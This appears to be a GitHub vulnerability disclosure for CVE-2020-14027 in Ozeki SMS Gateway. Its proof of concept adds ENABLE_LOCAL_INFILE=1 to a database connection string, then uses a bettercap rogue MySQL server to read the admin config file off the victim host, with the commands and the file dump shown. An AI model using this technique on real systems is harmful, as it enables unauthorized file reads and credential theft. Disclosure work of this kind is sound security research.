

master Disclosures / CVE-2020-14027-MySQL LOAD DATA LOCAL INFILE Attack-Ozeki SMS Gateway /

DrunkenShells Ozeki Disclosure ...

on Sep 18, 2020 History

..	
Malicious Connection.png	2 years ago
Normal Connection.png	2 years ago
README.md	2 years ago
Safe.png	2 years ago
Unsafe.png	2 years ago

README.md

CVE-2020-14027: Ozeki SMS Gateway "LOAD DATA LOCAL INFILE" Attack

The Ozeki SMS Gateway software, versions 4.17.6 and below, allows database connection strings that may contain custom unsafe arguments such as "ENABLE_LOCAL_INFILE".

This can be leveraged by attackers to trigger MySQL "LOAD DATA LOCAL INFILE" (Rogue MySQL Server) attacks.

Successful attacks of this vulnerability can result in unauthorized read access data accessible by the Ozeki Web Application (usually with privileges 'NT Authority\System').

Requirements:

This vulnerability requires:

- Access to an Ozeki Web Application user that can create/modify DB Connections
- "MYSQL ODBC" Driver to be installed on the target system

Proof Of Concept:

By default, the Windows "MYSQL ODBC" Driver does not allow the "Local_Infile" feature.

222 (Database) - Configuration

Database connection | SQL for sending | SQL for receiving | Logging | Advanced | SMS Scheduling

Please specify the database connection string for your database server.
Find examples at <http://www.ozekisms.com/index.php?owpn=171>

Connection string | Odbc

Connection

Driver={MySQL ODBC 8.0 ANSI Driver}; Server=192.168.243.128; Database=ozekisms; User=ozeki; Password=abc123; Option=3;

Date format

Specify the date format used to create the date value for the SQL statements.
Formating information: <http://www.ozekisms.com/index.php?owpn=227>

Date format | yyyy-MM-dd HH:mm:ss

string:

☒ Enable on startup.

OK Cancel

```
bettercap v2.27.1 (built for linux amd64 with go1.14.1) [type 'help' for a list of commands]
192.168.243.0/24 > 192.168.243.128 » mysql.server on
192.168.243.0/24 > 192.168.243.128 » [05:32:54] [sys.log] [inf] mysql.server server starting on address 192.168.243.128:3306
192.168.243.0/24 > 192.168.243.128 » [05:33:10] [sys.log] [inf] mysql.server connection from 192.168.243.129
192.168.243.0/24 > 192.168.243.128 » [05:33:10] [sys.log] [inf] mysql.server login request username: ozeki
192.168.243.0/24 > 192.168.243.128 » [05:33:10] [sys.log] [inf] mysql.server can use LOAD DATA LOCAL: 0
192.168.243.0/24 > 192.168.243.128 » [05:33:10] [sys.log] [war] mysql.server unexpected buffer size 5
192.168.243.0/24 > 192.168.243.128 »
```

SAFE

But, because we have full control over the connection string, we can enable this feature at the application level by adding the option "ENABLE_LOCAL_INFILE=1".

222 (Database) - Configuration

Database connection | SQL for sending | SQL for receiving | Logging | Advanced | SMS Scheduling

Please specify the database connection string for your database server.
Find examples at <http://www.ozekisms.com/index.php?owpn=171>

Connection string: Odbc

Connection string:
Driver={MySQL ODBC 8.0 ANSI Driver}; Server=192.168.243.128;Database=ozekisms;
User=ozeki;Password=abc123;Option=3;ENABLE_LOCAL_INFILE=1;

Date format:
Specify the date format used to create the date value for the SQL statements.
Formatting information: <http://www.ozekisms.com/index.php?owpn=227>
Date format: yyyy-MM-dd HH:mm:ss
string:

☒ Enable on startup.

OK Cancel

This will allow an attacker to use the MySQL Client Driver to read arbitrary files off the victim's system. In this case we read the "user-admin.txt" config file.

```
192.168.243.0/24 > 192.168.243.128 > set mysql.server.infile 'C:\Program Files (x86)\Ozeki\OzekiNG - SMS Gateway\Config\user-admin.txt'
192.168.243.0/24 > 192.168.243.128 > mysql.server on
192.168.243.0/24 > 192.168.243.128 > [05:35:57] [sys.log] [inf] mysql.server server starting on address 192.168.243.128:3300
192.168.243.0/24 > 192.168.243.128 > [05:35:57] [sys.log] [inf] mysql.server connection from 192.168.243.129
192.168.243.0/24 > 192.168.243.128 > [05:35:57] [sys.log] [inf] mysql.server can use LOAD DATA LOCAL: 1
192.168.243.0/24 > 192.168.243.128 > [05:35:57] [sys.log] [inf] mysql.server login request username: ozeki
192.168.243.0/24 > 192.168.243.128 > [05:35:57] [sys.log] [inf] mysql.server read file ( C:\Program Files (x86)\Ozeki\OzekiNG - SMS Gateway\Config\user-admin.txt ) is 561 bytes
C:\USER>
Accounting off
ADDRESSBOOKTYPE File Addressbook
AllowRouteOverride off
Autoconnect on
DBAccess on
DBOverride off
LastLogin
LogCommunication on
LogDirectory C:\Program Files (x86)\Ozeki\OzekiNG - SMS Gateway\Logs
LogHistoryCount 0
LogLinesBeforeCheckSize 20
LogMaxFileSize 2000
LogMessages on
Password_ENC
PhoneNumber admin
TIPATH C:\Program Files (x86)\Ozeki\OzekiNG - SMS Gateway\Users\admin\Addressbook\
TimeEnd 23:59
TimeStart 00:00
Type Standard
Username admin
UseSmsScheduling off
ZipRotatedFiles on
C:\USER>
```